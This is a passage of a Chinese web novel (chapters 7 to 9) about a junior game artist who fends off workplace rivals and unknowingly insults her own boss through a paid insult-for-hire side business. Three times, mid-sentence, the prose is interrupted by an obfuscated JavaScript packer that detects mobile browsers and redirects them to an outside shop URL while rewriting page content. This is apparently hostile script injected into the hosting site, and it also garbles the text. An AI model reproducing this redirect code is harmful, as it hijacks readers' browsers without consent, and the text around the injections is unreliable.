《国服代骂,但骂到上司》 7. 第 7 章 两人离开美术部往茶水间走,祝笙百思不得其解道:“到底为什么,陆总为什么会认为你心理不健康?” “我哪知道啊,自从上次他问过妍姐后,我每次见他都毕恭毕敬,谨小慎微,真不知道哪里出问题了。” 祝笙:“会不会有人故意抹黑你?蔡晓敏?” 任舒晚摇摇头,“不知道,没证据,但也像蔡晓敏能干出来的事儿。” “那你要不要跟陆总解释一下?”祝笙问道。 “怎么解释,难道跟大老板说我没病吗。”任舒晚垂头丧气,“我觉得现在说什么都是徒劳,他都已经安排体检了,已经默认我有问题了。” “也是……” 任舒晚:“没事儿,反正我没病,到时候做完体检,医生说我心理健康比我解释一万次都有用。” 祝笙豁然开朗,“对啊,咱不怕,反正咱身体倍儿棒,抹黑也没用,医生又不可能信口胡说。” 任舒晚点点头,“体检名单是你安排吗?能不能把我安排在第一批?” 祝笙:“是人事,但我有人脉,放心,我来搞,等安排好告诉你。” 两人又在茶水间聊了两句,任舒晚便回工位继续赶稿。 接下来的几天她都谨慎行事,除了午休,其他时间都在工位勤勤恳恳干活。 昏天黑地地忙到周五会议项目前,她总算把设计稿收尾,顺利发给了陆言知,陆言知还在外地出差,直到下午会议前才回了个“好”字。 任舒晚惴惴不安,陆言知没有评价她的稿子,加之还对她有偏见,导致她十分不自信,害怕过不了初筛。 到了开会时间,一行人聚在会议室,陆言知不在,还是石洋主持会议。 美术部交上去的画稿被投到大屏上,石洋操控着翻页笔,沉声道:“今天设计稿初筛,美术部老师们挨个说一下自己的设计理念吧,从骆老师开始。” 设计理念……? 任舒晚心里一紧,没人告诉她需要在会议上阐述自己的设计,她压根没准备稿子。 她看向被点名的骆珊,骆珊已经胜券在握地站起身,手里拿着笔记本,坦然开口,娓娓而谈。 看情况所有人都知道,不知道的只有她。 任舒晚没心思看其他人的设计,拿起笔迅速在本子上打草稿,将自己的设计想法串联起来。 按照顺序,很快轮到任舒晚,她拿着临时起得稿子,尽可能用简洁准确的词汇阐述自己的想法。 所有画师讲完后,石洋盯着大屏没有说话,反倒是骆珊抬了抬手,淡淡道:“石老师,我能说一下吗?” 石洋立即点头,“你说。” 骆珊勾勾唇角,轻声细语地递上刀,“我说一下小任的设计吧。” 任舒晚没说话,不动声色地看向骆珊,意料之中,她猜到骆珊会将矛头指向她。 骆珊:“策划们也都在,对角色的设定比我们更加清楚,蝴蝶月是杀手,经历过战争,背负血海深仇,杀人如麻,是冷酷无情的性格。小任的设计中,蝴蝶月变成了热爱和平被迫拿起刀刃的杀手,人设来了个大反差。” 她顿了顿,扬手指向屏幕中任舒晚的设计稿,“还有,海棠花不是蝴蝶月的象征物,蝴蝶月从小生活在西域,海棠花生长在平原地区,更不符合人物设定了。” 说罢,她缓缓歪头看向任舒晚,“新人难免在设计时犯这种低级错误,只一味追求美观和精致,忘掉人物原本的核心设定。” 一句话就给任舒晚扣上不认真,没研究角色的帽子。 任舒晚浅浅勾了勾唇,说别的或许她还要思量一番怎么回答,但说人物角色……? 她面不改色,心不跳,平静地看向骆珊,从容道:“我向骆老师解释一下,蝴蝶月生活在西域,战争过后为复仇来到中原,她曾在中原的村子里生活过一段时间,认识了一位小女孩,女孩送她的第一束花就是海棠花,她非常喜欢。之前的伴生皮中也有海棠花的设定,所以我觉得海棠花可以算作蝴蝶月的象征物。” “她经历过战争,更懂得战争的可怕,她复仇杀人不代表不热爱和平,她让恶人得到应有的惩罚,也在村子经历战火时救死扶伤,所以我不认定她是杀人不眨眼的恶魔。” 话音落,会议室里悄无声息。 可以说她画工不好,可以说她创意不新颖,说什么设计不符合人设?蝴蝶月的人物志她看了没有十遍也有八遍,说她没研究角色她是不认的。 任舒晚坦然无惧地直面回应,倒出乎骆珊意料,骆珊愣了一下,继而面色恢复如常,“你的风格和安总监的风格大相径庭,突然这么大的改变,玩家会买账吗?” 任舒晚微怔,她回答不了这个问题。《破晓瞬间》的美术主笔一直是安逸,在设计时她研究过安逸的风格,也尽量避免自己的设计不产生巨大的风格变动。她不确定自己风格如何,但现在骆珊说大相径庭。 面对这样的问题,她没有勇气像刚才那样坚定的反驳,她只是刚进项目组的新人,身后空无一人,她能开口保证什么吗?说玩家会喜欢?她有什么资格说?她的作品从未拿出来接受过玩家审判。 任舒晚沉默不语,其他人更是事不关己高高挂起,看热闹吃瓜。 氛围剑拔弩张,石洋清清嗓子,缓和气氛,“入围的稿子还需要询问陆总和安总监的意思。我们说下一步工作重点吧。” 接下来的时间没人再提美术组,策划组一直在商讨技能整改。 会议过后,任舒晚和骆珊争论的消息很快在美术部传开,陈月妍也听说了,气得爆了好几句粗口。 任舒晚嘴上说着没事,其实心里又烦又生气。平白无故被针对,对方还是项目组里的老人,即便她设计不错,也没几个人支持她。 她心烦意乱,跑去洗了把脸,结果又听到蔡晓敏和另一个同事在背后议论。 “一个初级原画师和高级原画师对着干,不自量力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850350|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不懂职场人情世故。” 蔡晓敏捂着嘴偷笑道:“自寻死路,刚进项目组就要被踢出来了。” 任舒晚如鲠在喉,之前她和陈月妍豪言壮志的话此刻就像回旋镖,一刀插在她心上。她是安分守己做自己的工作,但明枪暗箭甩上来,她根本没有抵抗的能力。 她气不过,一推门走出洗手间,正对上嚼舌根的蔡晓敏,她扯了扯嘴角,冷笑道:“少议论我,嘴实在闲可以去舔马桶。” 蔡晓敏怒气上头,“你恶不恶心,任舒晚。” 任舒晚翻个白眼,“恶心的是你,有本事你进个项目组我看看?” 说罢,她扭头就走,留蔡晓敏气得原地跺脚。 烦躁地返回工位,她戴上耳机屏蔽所有声音,她现在急需发泄愤怒。 切到小号,她直接搜索年卡渣男微信添加好友,[加我,让我喷你一会。] 点下发送申请,却突然弹出提示:[对方拒绝接收你的消息。] 任舒晚积攒的怒气瞬间冲破阈值,好嘛,连渣男都拉黑她,那他可是纯纯往枪口上撞了。 她迅速切到另一个小号,复制微信号添加好友,[为什么要拉黑我?你配吗你配吗你配吗?臭渣男!你跟那些背后嚼舌根子的长舌妇、捅人刀子的弱智一样恶心!我拽住你的脖颈子,啪啪就是俩嘴巴子,玉不琢不成器,不修理你我不来气。] [许愿有一条很长很长很长的围巾,把你们这些渣男弱智全都勒死。] [恶人以痛吻我,我报之以刀、枪、剑、戟、斧、钺、钩、叉、手枪、步枪、冲锋枪、机枪、特种枪和散弹枪、加农炮、榴弹炮、火箭炮、迫击炮、高射炮、坦克炮、反坦克炮、航空炮、舰炮和海岸炮、坦克、装甲输送车和步兵战车、军用人造卫星、宇宙飞船、空间站和航天飞机、作战飞机,勤务飞机、侦察机、预警机、电子干扰机、空中加油机、教练机、直升机、武装直升机、空中运输直升机、无人驾驶飞机、军用飞艇、炮弹、航空炸弹、□□、导弹弹头和化学地雷、橡皮子弹、催泪瓦斯、炫目弹、高压水枪、生物战剂、细菌、毒素和真菌、及其施放装置、枪弹、炮弹、航空炸弹、手榴弹、地雷、□□、火炸药、原子弹、□□、中子弹和能量较大的核弹头。] [我炸死你!!!!!] 一通发泄,任舒晚感觉气顺畅多了。 骂了这么些,也没见渣男回应,她摆摆手退出小号,明天再来。 熬到下班时间,陈月妍给她传来消息,陆言知看了稿子,并且以一己之见筛掉了几张,但具体是哪几张,还不知道。 任舒晚听完有种不好的预感,虽然回怼了蔡晓敏,但她说过的话一直盘旋在任舒晚脑海里,挥之不去。 她耸拉着脑袋给自己判处了死刑,凉凉的很安心。 煎熬的度过周末。 新的一周,任舒晚刚踏进公司就听说陆言知出差回来了,并且连还在住院的安逸也被喊回公司。 8. 第 8 章 周末两天的沉淀已经让任舒晚默认了职场中的潜规则,新人就会被戴上经验不足,能力欠缺的帽子,即使有进步,准备的不错,也会被说不如老员工有资历,缺乏经验,难堪大用。 所以她几乎可以预见自己收拾东西打包滚出项目组的场面了。 但她还是心存期望,她自认为她的设计没那么差劲,甚至比骆珊的设计要新颖。 而且当初陆言知是看了她画集才选她进项目组的,对她的风格也大概了解,难道现在会因为骆珊给她扣上的莫须有的帽子就把她换走吗?她觉得陆言知不是是非不分的人。 她抓着最后一根救命稻草,寄希望于陆言知能清醒些,如果他不清醒地把她踢出去,那她就在心里骂他一千遍!一万遍!一亿遍! 坐立难安之际,项目组发来会议通知,紧接着石洋又转发了五张设计稿,并附文:[恭喜任舒晚、李珺、倪明杰、康萌、梁明珠画师的稿子入围。] 任舒晚噌的一下坐直身体,她她她…她入围了!陆言知是清醒的!! 压抑许久的忐忑在此刻化为喜悦,那些她对自己的质疑、焦虑全部消弭,取而代之的是隐隐的骄傲。 不仅仅是因为入围,更因为入围的里面并没有骆珊的设计。 这似乎就昭示着,在这场无声的战役中,她取得了胜利,骆珊在会议上的挑衅此刻像小丑的演出,引人捧腹。那些背地嘲笑讽刺她的人,现在也被狠狠打脸。 她沉浸在开心之际,祝笙气喘吁吁地跑来找她,拽着她直奔茶水间。 祝笙:“小道消息,我花重金找人打听了一下,你的稿子入围了!!!” 任舒晚扬起唇角,暗暗点了点头,掏出手机给她看项目群的消息,“我知道了,而且骆珊的设计被筛掉了。” “我靠!我居然不是一手消息,小庄坑我一百块钱!!” 任舒晚连忙挽住她,安抚道:“不气不气,我赔你。” 祝笙一摆手,“没事,我回头再坑他。我还听说,当时陆总看了你们的稿子,用一句话评价了骆珊的设计。” 任舒晚:“什么?” “他说,安逸用脚画都画不了这么烂。” 任舒晚扑哧一下笑出声,“真的?” 祝笙:“小庄说的,应该没假。笑死,那老女人还趾高气昂呢,还不是被你打趴下了,这下看她怎么得意。” 任舒晚抿唇笑着,心里甜滋滋的,“以后我忠诚拥护陆总,他没有被恶人迷惑双眼,我敬佩他!” 祝笙哈哈大笑道:“该说不说,陆总身为领导还是很不错的,如果他什么时候能再把傻x部长换掉就更好了!” “有机会,毕竟他很清醒。”任舒晚看了眼时间,“我得去开会,我请你喝咖啡,你喝什么?” 祝笙不满地努努嘴,“我可不是来找你要好处的。” “知道知道,我开心请你还不行呀?”任舒晚搂住她,蹭蹭她的肩膀,“笙笙最好了。” 祝笙对她的撒娇没有任何抵抗力,耳朵都红了,嗫嚅道:“那我要美式吧。” “好嘞老板,马上下单。” 任舒晚点完咖啡就急忙去参加项目组会议。 她刚走进会议室,就感受到不同方向投来的炙热目光,这份灼烫中还夹杂着一阵凉意,她下意识去寻,就对上骆珊冰冷的目光。 但只是下一秒,骆珊的表情迅速转变,眸底的冷色敛去,嘴角勾了勾,笑容浅淡,最起码面子上能过得去。 任舒晚很佩服她,能做到喜怒不形于色,前脚捅你刀子,后脚和你深情厚谊。 既然她愿意演,任舒晚自然奉陪,回了个笑容,她兀自找到空位置坐下。 片刻后,会议室门再次推开,任舒晚闻声抬头,眸子瞬间瞪大,呆若木鸡地看着眼前出现的陆言知。 他穿着剪裁完美的西装,蓝白条纹衬衫衬得肤色白皙,外搭的西装外套敞开着,露出里面同色系马甲,矜贵又不失精致。 唯一不同的是发型,往日他常是背头,发丝悉数梳在脑后,凌厉的五官被放大,眉眼深邃幽静,气质更显成熟。 而今天却大不相同,细碎的黑发三七分,蓬松地散在额前,经过简单打理,几捋发丝遮住眉眼,少年感十足,远远看上去和男大毫无差别。 这样看上去好像更温柔了些,任舒晚默默评价着,即便陆言知听信小人谗言对她有偏见,但此刻他在她心里仍然完美无缺,人总会有一时的迷糊,这些小事无伤大雅。 她正想着,眼前的人却突然朝她看了过来,视线在空中交汇,陆言知沉静的黑眸一瞬不瞬地望着她,带着几分审视的意味。 她立刻慌张地躲开目光,佯装忙碌地去翻笔记本。 被抓包了,被抓包了。他似乎还不太开心,因为她盯着他看吗?她得正常点,镇静镇静。 就在这紧张时刻,祝笙突然发信息狂轰乱炸,她注意力被转移,闷头去看手机。 祝笙:[wc!!!!陆总今天巨帅无比!!!!!] [你是不是还没见到他?我跟你讲,你有眼福了!是男大啊是男大!] [讲真,有几分年下的味道了,可惜是冷脸年下,俺还是喜欢撒娇的卷毛小奶狗。] [不过饱饱眼福还不错!哎呦!等你看到你就知道了。] 任舒晚:[我看到了,他已经来会议室了。] 祝笙一连发来三张震惊的表情包,[怎么样?怎么样?是不是很帅!] 任舒晚微顿,抬眸悄咪咪看了眼会议桌尽头的男人,他正侧身和策划组说话,优越的侧颜显露无疑,高挺的鼻梁,深邃的眼眶,连搭在座椅扶手上的修长指尖都引人注目。 不得不承认,陆言知是很帅,无论什么发型。 手机再次震动,祝笙问道:[还没评判完?] 任舒晚:[评判完了,真是四套减三套,帅得有一套。] 祝笙:[哈哈哈哈哈哈哈哈哈哈哈送我一套可以吗?] 任舒晚含笑打字,[可以,以后你也美得有一套了。] 祝笙:[你接梗的能力还是太强了。] 任舒晚还想继续和她闲聊,但此时会议室的门再次推开,安逸进来了。 任舒晚回了祝笙一个开会的表情包,收起手机看向门口。 安逸是坐在轮椅上被推进来的,他伤得很重,面容苍白,看上去有些憔悴,右手打着石膏吊在脖子上,左脚缠着绷带,包扎得又大又肿。 众人默默吸了口凉气,有好事者开口关心安逸的身体状况,安逸都语气轻松的回答没事。 几句闲话后,会议室又恢复安静,陆言知适时开口,“入围的设计稿名单已经发布,下午更新到官网,运营组各平台宣传,程序那边增加游戏内投票入口,上线推送窗口。” 他微顿,又道:“美术组的事情让安总监来说。” 一旁的安逸被cue,无奈地摇摇头,道:“那我说一下最近美术部讨论的设计风格的问题。我发现可能我的风格局限住了大家的设计,以前的美术部是百花齐放的状态,每个人都大胆发挥灵感,设计不同风格的作品。现在却变成模仿我的风格,为了不出错而千篇一律,导致这次许多人的稿子一眼望过去像流水线生产的。所以这次没有认真设计的稿子都被筛掉了。” 安逸语气平静,但说出来的话一针见血,丝毫不留面子。 美术部的人纷纷垂下头,尤其是早期加入项目组,这次被筛掉稿子的许多老人,比如骆珊。看似没点她名字,但句句都像在说她,她脸色很难看,低着头不知道在想什么。 安逸没再多说这个问题,转言道:“我再解释一下蝴蝶月象征物的事情。” 听到这,任舒晚心中警铃大作,因为所有稿子中只有她的作品涉及象征物的元素,该不会要公开处刑她吧? 安逸:“我周末和策划组聊过,海棠花出现确实是无心插柳柳成荫的结果,策划组最初没打算把海棠花作为蝴蝶月的象征物,但我在画伴生皮时看了角色人物志,觉得海棠花在蝴蝶月心里分量很重,所以设计时画上了海棠花。” 安逸顿了顿,继续道:“我们商量了一下,决定正式把海棠花当作蝴蝶月的象征物。” 闻言,任舒晚捏紧的指尖终于松开,她长长松了一口气,低垂的眉眼不自觉添上几分笑意。 入围的设计稿,认定的象征物,今天的一切都在给她撑腰。没有职场人情世故,没有刚进项目组就被踢出局,有的是她夜以继日画出的稿子被领导认可,她的认真和努力都得到应有的回报。 会议桌尽头,陆言知淡淡抬眸,视线落在任舒晚身上。 片刻后,他垂下眼皮,蹙起的眉头又深了几分。 会议结束后,安逸说得话很快像插上翅膀似的传满公司,任舒晚去厕所再也听不到闲言碎语了。 午休后入围的稿子更新在了官网,由于运营组卖力宣传,没多久参与投票的玩家就已经几千人。 任舒晚的稿子目前排在第二名,领先第三名300多票,距离第一名也差300多票。她已经非常满足,这个排名足以证明她的风格是有受众群体的。 任舒晚心情愉悦,连上班都变得有意思起来,她发奋图强,把积压的工作迅速处理完,开始摸鱼处理咸鱼小铺。 最近赶工太忙,总是没时间回复咨询的客户,导致流失了很多单子,她决定给铺子添加个自动回复,有意向的客户可以直接下单,留言备注微信号和需求,工作闲暇时她会尽快完成订单给反馈。 设置好,她关掉铺子后台,开始完成今天的代骂工作。 切到小号,复制年卡渣男微信,任舒晚先试探地添加一下好友,发现渣男并没有把她二号小号拉黑。 任舒晚十分诧异,一号都拉黑了,怎么二号没有呢?是什么让他放弃了拉黑她呢? 她眯着眸子思考了片刻,有些摸不准年卡渣男的脾气,好奇怪的一个人,之前她长期骂过的渣男小人基本没几天就忍不住跟她对喷起来,这年卡渣男倒是沉得住气,这么能容忍吗? 事情变得有趣起来了,她倒想看看多久能激怒这人。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850351|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从懒散倚靠改为正襟危坐,开始大展身手。 [下午好下午好!我开发了新技能,能隔着屏幕点评容貌,稍等,我扫描一下。] [哥哥评分0.5分,已经是超低等颜值水平了,无法再低了哦,属于猪颜系长相,皮肤较差,眼距较宽,眼皮厚重眼睛无神,整体脸型来看比较适合整容风,体型即将出栏,综上所述,检疫不合格,建议回炉重造。] [或者你听从我的建议去打个唇钉,感觉很适合你,把上嘴唇和下嘴唇打一起。] [即使你脸上出现交通事故也不要自暴自弃,你要相信,你不是无路可走,你还有死路一条。] [鉴于你非常勇敢的面对一切,我给你买了黄金,46g金子,全价4万了。] 最后一次申请发出,对方没有任何回应。 任舒晚悠然自得地关掉小号,没关系,她看看他能坚持多久。 算计算计年卡渣男骂了也一周了,虽然老板大方敞亮,说了不要反馈,可她琢磨着还是得尽职尽责地汇报一声。 她返回咸鱼小铺,找到年卡老板,发去消息:[老板下午好,我来汇报一下工作进程,渣男一直在骂,他只有第一天加了我的好友,后来把我第一个小号拉黑了,现在二号小号也没加上,都是在备注里骂的。] 客户似乎不忙,很快回了信息,[好的,他是什么态度,回复过你吗?有提到我吗?猜到是我找的你了吗?] 任舒晚挠挠头,怎么感觉老板还对渣男挺上心的。 [没有老板,他只有一开始回了我个问号,回完就把我删了,之后再也没回复过。] 客户:[哦,好吧,我以为按他的性格会跟你骂起来,甚至回来找我。] 客户:[看来我在他心里真的不重要了。] 任舒晚眉头紧锁,老板好像有颗恋爱脑……? [老板,如果你在他心里很重要,他就不会出轨背叛你们的感情了。] 客户发了个难过的表情包,[我知道,可他没出轨之前真的很爱我,他曾经说敢把命都给我,怎么就会变成这样呢,我不懂。] 任舒晚张了张嘴,哑口无言,她有那么一瞬间真的很想敲开年卡老板的脑瓜,看看里面究竟装了什么。 半晌,她还是决定直击痛点,让年卡老板清醒一点。 [他竟给些没人要的东西,老板你想想,他怎么不说给你钱呢?他怕你真要。] 客户:[你说得我都懂,我朋友也劝我,可我真的走不出来,我最近好难过。] 接下来的半个小时,任舒晚一直在听年卡老板哭诉。起初她只是猜测老板有颗恋爱脑,后来直接实锤了,因为老板说到情深处居然想要去找渣男和好?! 任舒晚吓得连忙打字,[老板,请跟我念,一个男人不玩两遍。他不值得你的爱,你善良优秀,他烂到骨子里了,他配不上你。] 客户:[谢谢你,我好多了,我不会找他的,我都明白,一个男人不玩两遍。] 任舒晚松了口气,紧接着小铺多了笔新订单,点开发现居然是年卡老板又下了一个季卡单子。 她还没来得及问,客户便说道:[谢谢你陪我聊天,耽误你时间了,这是我的心意。] 任舒晚愣愣看着进账的三百多块钱。 [老板,受之有愧,我也没做什么,就是聊聊天而已。] 客户:[你做了很多了,就当我请你喝下午茶了。] 任舒晚没再拒绝,她默默下定决心,一定帮助老板击毙恋爱脑! — 与此同时,总裁办公室,安逸像小皇帝似的坐在轮椅上,小庄在一旁端着杯子喂他喝水。 陆言知嫌弃地看着,“你左手也坏了?” 安逸翻个白眼,“大哥,我肩膀有伤,一用力就疼,你关心关心我吧。” 说罢,他对小庄点点头,“谢谢啊,辛苦你了。” 小庄客气地应了声,离开办公室。 屋里只剩两人,安逸冷哼道:“你最好下次喊我回公司是真有重要的事情。” 陆言知微微挑眉,不置可否,“美术部的事情不重要?技改不重要?” “哪里重要了!技改不应该是你管的吗,和我一个画画的有什么关系。美术部那点破事儿你不能训一顿?还值当把我从医院喊回来?” 陆言知:“你在美术部的位置举足轻重。” 安逸无语,“谢谢你啊!” 他微顿,又道:“不过新进项目组那女生不错,挺有灵性的。” “她刚入职时你夸过了。” 安逸一愣,“啊,是吗,我脸盲,不认人。” “嗯。”陆言知懒懒应了声,他对任舒晚的初印象就是来自于安逸对她的夸赞。 说起任舒晚,他不自觉敛眸,脑海又浮现出会议上她的笑容,眉眼低垂着,睫毛因笑轻轻颤动着,不骂他时看着还挺正常的。 他下意识拿起手机,恰好就看到私人微信收到的通知。 还没打开陆言知就已经沉下脸,他有种不好的预感。 9. 第 9 章 果然…… 陆言知点开微信,熟悉的头像连发来五条申请,备注里的话不是感谢他信任她的设计,也不是礼貌打招呼,全是在骂!他! 他黑着脸点开对方资料,确认对方微信号:Excuseme3。 好,真好,她是真会翻脸不认人啊,刚支持了她,她又来骂他。如果说之前是对他有意见,对公司规章制度不满,被欺负不爽,那这次是什么呢? 而且她似乎骂过他……渣男?这又是哪一出? 他为她找了很多理由,但现在不得不怀疑她就是有问题。见面毕恭毕敬,网络出言无状,奇怪的像人格分裂,导致思维混乱?幻觉妄想? 诡异的念头冒出来,下一秒就被陆言知摁回去,什么人格分裂能精准到只在网络上才分裂?他虽然不是医生,但也不是没常识,一时间他也想不通了。 他垂眸收起思绪,滑动屏幕继续往下看。 她是越骂越狠,越骂越让他看不懂了。 他蹙眉,沉吟开口,“安逸。” “啊?”安逸茫然抬头,“咋?” “黄金46克,全价四万了是什么意思?” 安逸一怔,继而憋笑道:“你从哪看的?” 陆言知冷下脸,“……网上。” 安逸哈哈大笑,“你都念出来了,还没发现吗?” 陆言知不语,沉默的又在心里将话过了一遍,瞬间明朗。 “笑死我了,想出这梗的也是个天才,真会骂人啊。”安逸一边说一边笑,不自觉扯动伤口,又引来一阵哀嚎。 陆言知黑着脸熄掉手机,嗯,是天才,可会骂,骂他一星期了。 “下班,回家了。”陆言站起身,周身气场寒凉,阴沉的眸子仿佛淬了毒的刀子,看人一眼都能将人置于死地。 “咋了啊?咋……”安逸对上他的视线,一阵毛骨悚然,“咋…突然着急回去?” 陆言知拿下衣架上的外套,“煤球最近不舒服,我回家照顾它。” 说罢,他转身往门口走。 安逸:“喂喂喂,你走没事啊,你倒是把我推出去啊!” 陆言知打开门,回身瞥了他一眼,“你话太多了,用嘴划出去吧。” “靠!陆言知,你不是人!” 陆言知没理他,人已经大步走远,徒留无法自理的安逸在办公室里哀嚎。 — 临近下班,任舒晚被通知去20楼行政部录面容识别,更换门禁时系统录入的都是员工入职时的照片,许多照片太过久远,识别不灵敏,于是行政全部重置,安排统一录入。 她去得早,行政部没几个人,很快就录完了。 她返回21楼,兜里手机却忽然响起来,拿出一看居然是妈妈打来的电话。 她连忙接听,听筒那边传来任妈温温柔柔的声音,“晚晚,在忙吗?快递给你打电话怎么没接?” “妈妈,我没听见。”任舒晚退出通话界面,果然看到陌生的未接来电,“手机铃声有点小,刚刚在忙。” 任妈应下,轻声回应,“哦,没别的事情,我给你寄得葡萄到了,因为是生鲜,快递联系不到就给我打电话了,我让他放到你们大厅前台了,你去签收一下,看看有没有损坏。我这次寄得多,小祝不是喜欢吃,你多分小祝点。” “知道啦,我现在就去。”任舒晚折返往电梯口走,嘴上调侃道,“小祝长小祝短,你认她当干女儿吧,她也可喜欢你了。” 任妈笑道:“好啊,等你们假期喊她来家里做客,我给你们做好吃的。” “好好好,我替你转达。”任舒晚按下电梯等着,身后忽然传来规律的脚步声,她下意识回头看了一眼,就见陆言知阴沉着脸朝电梯方向走来。 她微愣,糟糕,摸鱼被撞上了,刚树立的好形象要崩塌了! 她侧过头,压低声音和任妈说了声,急匆匆挂掉电话。 收起手机,陆言知已经走到她不远处的位置和她同步等电梯。 任舒晚小心翼翼瞧他一眼,他一动不动站着,表情十分凝重。 是福不是祸,是祸躲不过。她默默叹口气,命运给她晋升路增加坎坷,那她就努力把坎坷踏平! 加油打气完,她扬起笑容看向陆言知,礼貌打招呼,“陆总。” 陆言知微微偏头看她一眼,目光漠然,“嗯。” 任舒晚垂下头眨巴眨巴眼,怎么感觉大老板似乎不高兴?她是不是不去触碰逆鳞比较好呢?但她不解释的话会不会败坏好感啊,毕竟陆言知本身就对她有偏见。 她犹豫一瞬,不入虎穴,焉得虎子! “您也要去行政部录脸吗?” 任舒晚说完忍不住感叹自己的机智灵敏,她这么说既自然又不会显得在摸鱼,待会儿只要从20楼下,再等一波电梯就是了。 她正认真想着,忽然意识到,不对!万一陆言知是去录脸,她跟着不就露馅儿了,她刚录了呀!! 完蛋!怎么忘了这一茬! 她急得抓耳挠腮,犹如热锅上的蚂蚁。 正进退两难之际,陆言知回答了,“不是,我下班。” 任舒晚只觉上涌的气血瞬间回落。 对啊,他拿了外套,明显是要出门的状态,都怪她太紧张忽略了观察。 转危为安,她笑着轻松地应了声。 就在这时,陆言知又开口了,“你不是录过脸了?” 不是,等会儿,他在说什么?他怎么知道的? 任舒晚只觉头嗡的一声,脑子又又又充血了,她哪里暴露了?! 陆言知将她眸中的错愕尽收眼底,他平静移开视线,嘴角不自觉勾起,她想方设法骂他时是不是也这么爽? 电梯叮的一声打开,任舒晚出走的理智回笼,无论陆言知怎么知道的,他已经问出来了,她此刻最合适的回答就是老实交代,比起摸鱼,撒谎会更加让人讨厌。况且谁能不摸鱼,哪有不摸鱼的,他陆言知还早退呢! 心思落定,她迅速抬手挡住电梯门,“陆总,您先进。” 陆言知没说话,悠然自得地走了进去。 她紧随其后跟上,按下一楼又按下负一,诚实道:“我刚才录过脸了陆总,我是去楼下签收快递,我妈妈寄给我的东西怕损坏。” “哦?”陆言知眉梢上挑,饶有兴趣道,“是什么?” “葡萄,我家乡的特产。”话音落,任舒晚灵机一动,“陆总喜欢吃葡萄吗?” 她盯着他,目光里多了一分期待。俗话说,吃人嘴软,拿人手短,她忍痛割爱献上一袋葡萄换一次好印象,怎么算都一本万利。 陆言知顿了顿,唇角微扬,“我不挑水果。” 不挑?!那好说了。 “那我明天给您拿一袋,我妈妈自己种得,味道特别好。” 陆言知颔首,没有客气推脱的意思,道:“谢谢。” 任舒晚立刻回以笑容,“陆总太客气了。” 电梯到达一楼,她率先走出门,“陆总再见。” 陆言知看着她微微一笑,“再见。” 电梯门关闭,任舒晚一边心疼自己少吃一袋葡萄,一边复盘刚才的对话。 看关门时陆言知的表情,他应该拿人手短,对她有所改观吧?不过她总觉得今天的陆言知怪怪的,似乎情绪不稳定,好像多变的天气,忽晴忽雨的。 她耸耸肩,算了,搞不懂有钱人的烦恼,只要她能晋升就好了。 签收了快递,确认包装完整,她就寄存在了前台。 返回公司的路上给祝笙和陈月妍分别发了消息,让她们下班时在大厅等她一会儿,她把葡萄拿给她们。 她收起手机进电梯,兜里又传来持续的响铃震动。她蹙眉拿出,就看到祝笙打来了电话。 “喂,怎么啦?” 祝笙清脆的声音从听筒那头传来,“明天上午第一批体检,你没有着急的稿子吧?” 任舒晚思索了一下手头的工作,“没问题。” “okok,那填上你了,待会群里下通知,你记得明天去。” 任舒晚勾唇笑了笑,语气甜甜的,“好,谢谢亲爱的。” 挂断电话,电梯也到了21楼,任舒晚走下电梯恰好遇到从公司出来的石洋。 “小任,录脸了吗?”石洋笑着打招呼,经过门禁时,门禁发出机械的提示音:人脸未能识别,请重新尝试。 石洋瞧了眼门禁,“它还提示我。” 任舒晚笑着回应,“洋哥,我刚录完。” 寒暄两句,两人擦肩而过,任舒晚经过门禁时刻意停顿一下,系统很快识别到她,没有提示音,只出现绿色的通行标识。 她一瞬间似乎懵懵懂懂猜到陆言知为什么知道她录过脸了。 她又往门里走了几步,人离开了系统识别的范围,但门禁的屏幕下方还留着她经过时的照片和通行标识。 果然! 她恍然大悟! 心机深沉的陆言知! — 第二天,任舒晚早早起床,她今天异常忙碌,要先去给陆言知送葡萄,再去体检。 她往包里装了两盒洗好的葡萄中午和祝笙一起吃,一袋没拆封且格外完美的葡萄拿给陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850352|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言知。 收拾好,匆匆出门去公司。 她比平常上班时间早到了一会儿,公司里没几个人,她趁人少径直往陆言知办公室去。 拐过走廊,正巧遇到小庄抱着盆栽从陆言知办公室出来。 “庄助理,陆总在吗?” 小庄看到她有些惊讶,“任老师,陆总还没来。” 没来好啊!任舒晚路上还措辞怎么和陆言知客套呢,这下正好,不用多说话了。 “那麻烦你帮我转交一下吧。”任舒晚把手里的手提袋递过去。 小庄在陆言知身边呆久了,不多嘴又极会看眼色行事。他从善如流地接下,眼睛都不带瞟一眼手提袋里面,“好的任老师,等陆总来了我帮你转交。” 